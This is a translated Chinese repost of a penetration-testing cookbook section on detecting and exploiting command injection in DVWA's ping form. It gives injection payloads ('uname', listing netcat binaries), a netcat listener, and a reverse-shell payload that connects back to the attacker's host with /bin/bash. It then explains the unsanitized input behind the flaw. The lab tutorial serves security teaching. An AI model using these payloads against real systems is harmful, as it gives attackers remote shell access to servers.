Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞

admin 2022年5月23日10:33:49安全文章评论12 views1755字阅读5分51秒阅读模式

Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞

Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞

翻译来自掣雷小组

成员信息:

thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt


Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞

记红色的部分为今日更新内容。

6.0、介绍

6.1、寻找文件包含漏洞

6.2、文件包含和文件上传

6.3、手工验证SQL注入

6.4、基于错误的SQL注入

6.5、确认并利用SQL盲注漏洞

6.6、使用SQLMap查找和利用SQL注入

6.7、利用XML外部实体注入

6.8、检测和利用命令注入漏洞



6.8、检测和利用命令注入漏洞

我们以前已经看到如何使用PHP的system()函数在服务器中执行操作系统命令。有时,开发人员使用诸如此类的指令或具有相同功能的其他指令来执行某些任务。最终,它们使用未经验证的用户输入作为命令执行的参数,因此就形成了命令注入漏洞。

在此小节中,我们将利用命令注入漏洞从服务器提取重要的信息。

 

实战演练

登录到DVWA中,并进入命令执行页面(Command Execution)

1. 我们将看到一个自由形式的Ping表格。来让我试一下ping 192.168.56.10(这是我们Kali Linux的IP):

Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞


这个输出看起来像是直接从ping命令的输出中获得的。这表明服务器正在使用操作系统命令来执行ping,因此可能会注入操作系统命令。

2. 让我们尝试注入一个非常简单的命令。提交以下代码,

192.168.56.10;uname –a:

Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞


我们可以在ping输出之后看到uname命令的输出。我们这里有一个命令注入漏洞。

3. 如果去掉IP地址,仅有;uname –a 呢?结果如下图所示:

Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞



4. 现在,我们将在服务器上获得一个反向shell。首先,我们必须确保服务器上拥有我们需要的东西。提交 ;ls /bin/nc*。它应该返回一个完整路径的文件列表:

Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞



我们有不止一个版本的NetCat,它是我们用来生成连接的工具。NetCat的OpenBSD版本不支持在连接上执行命令,因此我们将使用traditional。

5. 下一步是监听Kali Linux中的连接。打开终端,运行以下命令:

nc -lp 1691 -v

6. 然后我们在浏览器中提交以下内容:

;nc.traditional -e/bin/bash 192.168.56.10 1691 &

7. 我们将看到如何在监听Kali终端接收连接。在这里,我们可以在服务器上执行命令,如下图所示:

Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞


我们的终端会对连接做出反应。现在我们可以发出非交互式命令并检查它们的输出。

 

 

原理剖析

与SQLi和其他示例一样,命令注入漏洞是由于输入验证机制不佳,以及使用用户提供的数据来形成字符串,这些字符串可能将用作操作系统的命令。如果我们查看我们刚刚攻击的页面的源代码(每个DVWA页面右下角都有一个按钮),如图所示:

Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞



我们可以看到它直接将用户的输入追加到ping命令。我们所做的只是添加了一个分号,系统的shell将其解释为命令分隔符,在分号旁边是我们想要执行的命令。

在成功执行命令之后,下一步是验证服务器是否具有NetCat, NetCat是一种能够建立网络连接的工具,在某些版本中,还可以在建立新连接时执行命令。

我们看到服务器的系统有两个不同版本的NetCat,之后我们选择了适合我们版本特性的那个。

然后,我们将攻击系统设置为侦听TCP端口1691上的连接(可能是任何其他可用的TCP端口),然后,指示服务器通过该端口连接到我们的机器,并在连接建立时执行/bin/bash(系统shell)。我们通过该连接发送的任何内容都将被服务器中的shell作为输入接收。使用&在命令的末尾,是在后台执行它,防止PHP脚本的执行停止,因为它正在等待命令的响应。

Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞

--------------------------------------------------------------------

Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞

更多精彩内容,关注玄魂工作室

Kali Linux Web渗透测试手册(第二版)- 6.7 -利用XML外部实体注入

Kali Linux Web渗透测试手册(第二版) - 6.6 - 使用SQLMap查找和利用SQL注入

星球日报20190106--全新CTF教程即将上线

星球日报20190109--资源目录在github公开,请访问


原文始发于微信公众号(玄魂工作室):Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月23日10:33:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞 http://cn-sec.com/archives/782480.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: